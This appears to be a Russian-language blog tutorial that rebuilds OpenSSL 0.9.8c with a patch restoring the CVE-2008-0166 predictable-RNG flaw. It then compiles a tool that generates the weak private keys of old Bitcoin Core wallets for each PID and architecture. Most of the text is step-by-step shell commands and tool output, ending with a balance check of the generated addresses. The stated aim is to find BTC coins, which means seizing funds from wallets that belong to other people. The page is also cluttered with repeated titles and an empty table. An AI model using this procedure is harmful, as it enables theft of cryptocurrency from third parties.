Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

В этой статье мы создадим инструмент который будет генерировать Биткоин Адреса (P2PKH), используя уязвимость CVE-2008-0166. Это исследовательский проект для поиска монет BTC на более ранних версиях программного клиента Bitcoin Core.

Генератор случайных чисел, который генерирует предсказуемые числа CVE-2008-0166

Критической уязвимость версии OpenSSL 0.9.8 CVE-2008-0166 заполнялась только идентификатором процесса. Из-за различий между порядком байтов и sizeof(long) выходные данные зависят от архитектуры: 32-битный прямой порядок байтов (например, i386), 64-битный прямой порядок байтов (например, amd64, ia64), 32-битный прямой порядок байтов (например, powerpc, sparc). PID 0 — это ядро, а PID_MAX (32768) не достигается при переносе, поэтому для каждой архитектуры было 32767 возможных потоков случайных чисел.

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Программный клиент Bitcoin Core использует библиотеку OpenSSL. В частности, он использует функцию «EC_KEY_generate_key()» для генерации Биткоин Адресов (например, ключа) для получения платежей. Старые версии Bitcoin Core генерируют и хранят 100 ключей в wallet.dat

Новый ключ генерируется только при получении Биткоин платежа. Таким образом, программный клиент Bitcoin Core сохраняет пул из 100 неиспользуемых Биткоин Ключей (адресов). Состояние внутреннего генератора случайных чисел зависит от того, какие другие вызовы были сделаны в библиотеке OpenSSL до вызова 'EC_KEY_generate_key()'. Вызовы, влияющие на внутреннее состояние ГСЧ: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».

Таким образом, исследование заключалось в том, чтобы просмотреть множество старых источников Биткоина, чтобы выяснить, какие вызовы были сделаны, которые повлияли на внутреннее состояние ГСЧ перед вызовом «EC_KEY_generate_key()». Путь вызова меняется между версиями программного клиента Bitcoin Core

Исследование было сосредоточено на следующих версиях:

| Дата выхода | Версия |
| Дата выхода | Версия |

Наше цель сгенерировать приватные ключи для каждой версии программного клиента Bitcoin Core, для каждой архитектуры (le32/le64), для каждого идентификатора процесса и для Биткоин Адресов (P2PKH), используя случайное число из критической уязвимости OpenSSL 0.9.8.

В конечном итоге мы создадим Генератор Биткоин Адресов (P2PKH) и все будет сохранятся в файл result.txt

Все сохранится в хранилище файлов Google Drive
Все сохранится в хранилище файлов Google Drive

Сделаем OpenSSL снова уязвимым

Воспользуемся для этого дистрибутивом “Ubuntu 18.04.5 LTS” от Google Colab

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Запустим команду:

cat /etc/lsb-release
“Ubuntu 18.04.5 LTS”
“Ubuntu 18.04.5 LTS”

Давайте перейдем в репозиторию «CryptoDeepTools» и разберем всё в детали

git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/05VulnerableOpenSSL/ ls -lh
<i>Репозитория</i> <a href="https://github.com/demining/CryptoDeepTools/tree/main/05VulnerableOpenSSL" rel="nofollow noreferrer noopener" target="_blank"><b>«CryptoDeepTools»</b></a>
Репозитория «CryptoDeepTools»

Обновим и установим g++ libgmp3-dev libmpfr-dev

apt-get update sudo apt-get install g++ -y
<i>установим</i> <b>g++</b>
установим g++
sudo apt-get install libgmp3-dev libmpfr-dev -y
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
<i>установим пакеты</i><b> libgmp3-dev libmpfr-dev</b>
установим пакеты libgmp3-dev libmpfr-dev

Для того чтобы OpenSSL снова сделать уязвимым как в CVE-2008-0166

Скачаем openssl-0.9.8c.tar.gz и пропатчим системные файлы

wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

tar xfz openssl-0.9.8c.tar.gz

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
mv openssl-0.9.8c openssl-0.9.8c-vuln cd openssl-0.9.8c-vuln
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
ls -lh
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

В системе LE-64 используем:

./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
make depend all
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Перейдем обратно в каталог content/

cd / ls
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
cd content/CryptoDeepTools/05VulnerableOpenSSL/ ls -lh
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Компиляция:

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto ls -lh
<a href="https://github.com/demining/CryptoDeepTools/" rel="nofollow noreferrer noopener" target="_blank"><b>cryptodeepbtcgen</b></a> <i>успешно создан!</i>
cryptodeepbtcgen успешно создан!
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Все поддерживаемые версии программного клиента Bitcoin Core:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l #0 - 0.3.24 #1 - 0.8.6-d #2 - 0.8.6-qt #3 - 0.9.1-d #4 - 0.9.4-d #5 - unknownA #6 - unknownB #7 - unknownC #8 - unknownD #9 - unknownE #10 - unknownF #11 - unknownG #12 - unknownH #13 - unknownI #14 - unknownJ #15 - unknownK #16 - unknownA0 #17 - unknownA1 #18 - unknownA2 #19 - unknownA3 #20 - unknownA4 #21 - unknownB0 #22 - unknownB1 #23 - unknownB2 #24 - unknownB3 #25 - unknownC0 #26 - unknownC1 #27 - unknownC2 #28 - unknownD0 #29 - unknownD1 #30 - unknownD2 #31 - unknownD3 #32 - unknownD4 #33 - unknownD5 #34 - unknownE0 #35 - unknownA0x #36 - unknownA1x #37 - unknownA2x #38 - unknownA3x #39 - unknownA4x #40 - unknownB0x #41 - unknownB1x #42 - unknownB2x #43 - unknownB3x #44 - unknownC0x #45 - unknownC1x #46 - unknownC2x #47 - unknownD0x #48 - unknownD1x #49 - unknownD2x #50 - unknownD3x #51 - unknownD4x #52 - unknownD5x #53 - unknownE0x crypto >

Запуск cryptodeepbtcgen -n 32 -v 0:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt
<b>Запуск</b> <b><a href="https://github.com/demining/CryptoDeepTools/" rel="nofollow noreferrer noopener" target="_blank">cryptodeepbtcgen</a></b>
Запуск cryptodeepbtcgen

Все сохранится в хранилище файлов Google Drive как текстовый файл result.txt

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Проверяем закрытый ключ!

Откроем bitaddress и проверим:

<i>Проверяем закрытый ключ на сайте</i> <b><a href="https://cryptodeep.ru/bitaddress.html" rel="nofollow noreferrer noopener" target="_blank">bitaddress</a></b>
Проверяем закрытый ключ на сайте bitaddress

Далее остается проверить все сгенерированные Биткоин Адреса на наличие монет BTC, для этого мы можем воспользоваться Python-скриптом: bitcoin-checker.py

Видеоматериал: https://youtu.be/zHkXups2I8k

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
1
Начать дискуссию